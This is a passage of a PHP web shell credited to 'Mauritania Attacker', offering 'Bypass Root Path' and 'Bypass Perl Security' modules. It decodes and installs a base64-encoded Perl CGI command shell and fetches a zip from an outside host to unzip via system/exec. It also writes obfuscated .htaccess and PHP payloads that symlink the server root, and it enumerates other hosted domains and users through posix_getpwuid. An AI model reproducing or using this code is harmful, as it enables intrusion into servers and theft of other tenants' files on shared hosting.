2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0=';
$file = fopen("vw.root" ,"w+");
$write = fwrite ($file ,base64_decode($cgipl));
fclose($file);
chmod("vw.root",0755);
echo "<br><center><span style='font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900'>Bypass Perl Security</span><br><br><iframe src=cgipl/vw.root width=75% height=50% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsrootwzp'))
{
echo'<center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path With Zip File</span><br>Coded By Mauritania Attacker</center>';
echo"<p align='center'><img border='0' src='http://4.bp.blogspot.com/-B2RRd3iYCgI/Uj6UtLxxApI/AAAAAAAAATc/DJHEPAWNTmk/s320/Password-protected-zip-file.png'></p>";
echo'<div class="tul"><font color="009900" face="Impact, Geneva, sans-serif" style="font-size: 8pt"><font/>';
echo"<center><font face='ghost' color='red' size='5'><font/>
<form method='post'>
<input class='inputzbut' type='submit' value='Grab To Root Now' name='fuck'><br>
<center><font color='red' size='4' face='ghost'>Remote Zip File</font><input class='inputz' type='text' size='40' name='shell' value='http://hcp1.es/wp-content/uploads/v4.zip'
</font></center>
</form>
</center>
</p>";
@error_reporting(0);
$file = $_POST['shell'];
//Generate zip file
mkdir('wooooot', 0755);
chdir('wooooot');
$fopen = fopen("v4.zip",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Zip File Downloaded Successfully
";
sleep(2);
echo "<p>Going To Unzip the File to Get r00t....</p>";
sleep(2);
//system
system('unzip v4.zip');
//passthru
passthru('unzip v4.zip');
//shell_exec
shell_exec('unzip v4.zip');
//exec
exec('unzip v4.zip');
//proc_open
proc_open('unzip v4.zip');
sleep(1);
//Extracting htaccess For Symlink
chdir('wooooot');
$htaccess = 'T1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kNCk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRm9yY2VUeXBlIHRleHQvcGxhaW4NCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIA0KQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sDQpBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWwNCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAuaHRtbA0KQWRkSGFuZGxlciB0eHQgLnNodG1sDQpPcHRpb25zIEFsbA0KT3B0aW9ucyBBbGw=';
$priv8priv = fopen(".htaccess" ,"w+");
$xwrite = fwrite ($priv8priv ,base64_decode($htaccess));
sleep(1);
echo "<p>Loading Perl unzipper.... \!/ </p>";
//dezipper.pl generate
chdir('wooooot');
$l0vercodee = 'eyANCnN5c3RlbSgidW56aXAgdjQuemlwIik7DQpleGVjKCJ1bnppcCB2NC56aXAiKTsNCnBhc3N0aHJ1KCJ1bnppcCB2NC56aXAiKTsNCnNoZWxsX2V4ZWMoInVuemlwIHY0LnppcCIpOw0KcHJvY19vcGVuKCJ1bnppcCB2NC56aXAiKTsNCn0=';
$greatshiit = fopen("dezipper.pl" ,"w+");
$write = fwrite ($greatshiit ,base64_decode($l0vercodee));
if($write){
echo "<p>Perl Unzipper Downloaded Successfully</p>";
fclose($greatshiit);
chmod("dezipper.pl",0755);
echo "<p>Unzipping File with Perl \!/ </p>";
system('perl dezipper.pl');
passthru('perl dezipper.pl');
shell_exec('perl dezipper.pl');
exec('perl dezipper.pl');
proc_open('perl dezipper.pl');
echo"<br><a href=wooooot/1.txt TARGET='_blank'>Link=====><font color=red size=3 face='Courier New'><b>Root Path</b></font></a>";
}
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bforb'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path with system function</span><center><br>';
mkdir('blackhat', 0755);
chdir('blackhat');
$bforb = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBCeXBhc3MgUm9vdCBQYXRoIGJ5IFZpcnVzYSBXb3JtPC90aXRsZT48L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBmb250LWZhbWlseTpDb3VyaWVyCW1hcmdpbi1sZWZ0OiAwcHg7IG1hcmdpbi10b3A6IDBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBOZXc7Zm9udC1zaXplOjEycHg7Y29sb3I6IzAwOTkwMDtmb250LXdlaWdodDo0MDA7fSBhe3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpsaW5rIHtjb2xvcjojMDA5OTAwO30gYTp2aXNpdGVkIHtjb2xvcjojMDA3NzAwO30gYTpob3Zlcntjb2xvcjojMDBmZjAwO30gYTphY3RpdmUge2NvbG9yOiMwMDk5MDA7fSAtLT48IS0tIE1hZGUgQnkgVmlydXNhIFdvcm0gLS0+PC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgZWNobyAiPGNlbnRlcj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQnlwYXNzIGl0JyBuYW1lPSd2aXJ1c2EnPjwvY2VudGVyPiI7IGlmIChpc3NldCgkX1BPU1RbJ3ZpcnVzYSddKSl7IHN5c3RlbSgnbG4gLXMgLyB2aXJ1c2EudHh0Jyk7ICRmdmNrZW0gPSdUM0IwYVc5dWN5QkpibVJsZUdWeklFWnZiR3h2ZDFONWJVeHBibXR6RFFwRWFYSmxZM1J2Y25sSmJtUmxlQ0J6YzNOemMzTXVhSFJ0RFFwQlpHUlVlWEJsSUhSNGRDQXVjR2h3RFFwQlpHUklZVzVrYkdWeUlIUjRkQ0F1Y0dodyc7ICRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkdmlydXNhID0gc3ltbGluaygiLyIsInZpcnVzYS50eHQiKTsgJHJ0PSI8YnI+PGEgaHJlZj12aXJ1c2EudHh0IFRBUkdFVD0nX2JsYW5rJz48Zm9udCBjb2xvcj0jMDBiYjAwIHNpemU9MiBmYWNlPSdDb3VyaWVyIE5ldyc+PGI+QnlwYXNzZWQgU3VjY2Vzc2Z1bGx5PC9iPjwvZm9udD48L2E+IjsgZWNobyAiPGJyPjxicj48Yj5Eb25lLi4gITwvYj48YnI+PGJyPkNoZWNrIGxpbmsgZ2l2ZW4gYmVsb3cgZm9yIC8gZm9sZGVyIHN5bWxpbmsgPGJyPiRydDwvY2VudGVyPiI7fSBlY2hvICI8L2Zvcm0+IjsgID8+PC90ZD48L3RyPjwvYm9keT48L2h0bWw+';
$file = fopen("bforb.php" ,"w+");
$write = fwrite ($file ,base64_decode($bforb));
fclose($file);
chmod("bforb.php",0755);
echo "<iframe src=blackhat/bforb.php width=60% height=60% frameborder=0></iframe>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'rootexecbpass'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path With exec Function</span><center><br>';
mkdir('blackhat', 0755);
chdir('blackhat');
$excrooooot = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydleGVjZXInXSkpeyBleGVjKCdsbiAtcyAvIHJvb3QtZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3QtZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3QtZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
$file = fopen("excrooooot.php" ,"w+");
$write = fwrite ($file ,base64_decode($excrooooot));
fclose($file);
chmod("excrooooot.php",0755);
echo "<iframe src=blackhat/excrooooot.php width=60% height=60% frameborder=0></iframe>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'rootshelleexecbpass'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path With shell_exec Function</span><center><br>';
mkdir('blackhat', 0755);
chdir('blackhat');
$shellexcexce = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J3NoZWxsX2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydzaGVsbF9leGVjZXInXSkpeyBzaGVsbF9leGVjKCdsbiAtcyAvIHJvb3Qtc2hlbGxfZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkc2hlbGxfZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3Qtc2hlbGxfZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3Qtc2hlbGxfZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
$file = fopen("shellexcexce.php" ,"w+");
$write = fwrite ($file ,base64_decode($shellexcexce));
fclose($file);
chmod("shellexcexce.php",0755);
echo "<iframe src=blackhat/shellexcexce.php width=60% height=60% frameborder=0></iframe>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'posget'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass posix_getpwuid</span><center><br>';
echo '<form method="POST">
<input class="inputz" size="20" value="0" name="min" type="text">
<font face="Tahoma" color="#007700" size="2pt"> to </font>
<input class="inputz" size="20" value="1024" name="max" type="text"> <input class="inputzbut" value="Symlink" name="" type="submit">
</form><br>';
if($_POST){
$min = $_POST['min'];
$max = $_POST['max'];
echo"<div class='tmp'><table align='center' width='40%'><td><font color='#e4e4e4'><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td>";
$p = 0;
error_reporting(0);
$list = scandir("/var/named");
for($p = $min; $min <= $max; $p++)
{
$user = posix_getpwuid($p);
if(is_array($user)){
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
if($owner['name'] == $user['name'])
{
$i += 1;
$cheechee = checkAlexa($domain);
echo "<tr><td class='cone'><a href='http://".$domain." '>".$domain."</a> <font color='#00bb00'>- </font><font color='#e4e4e4'>".$cheechee."</font></td><center><td class='cone'><font color='#00bb00'>".$user['name']."</font></center></td><td class='cone'><center><a href='sim/rut".$owner['dir']."/public_html/' target='_blank'>Dir</a></center></td>";
}
}
}
}
}
echo "<center><font face='Tahoma' color='#00bb00' size='2pt'>Total Domains Found:</font><font face='Tahoma' color='#00bb00' size='2pt'> ".$i."</font></center><br />";
}
echo "</table></div><br><br>";
}
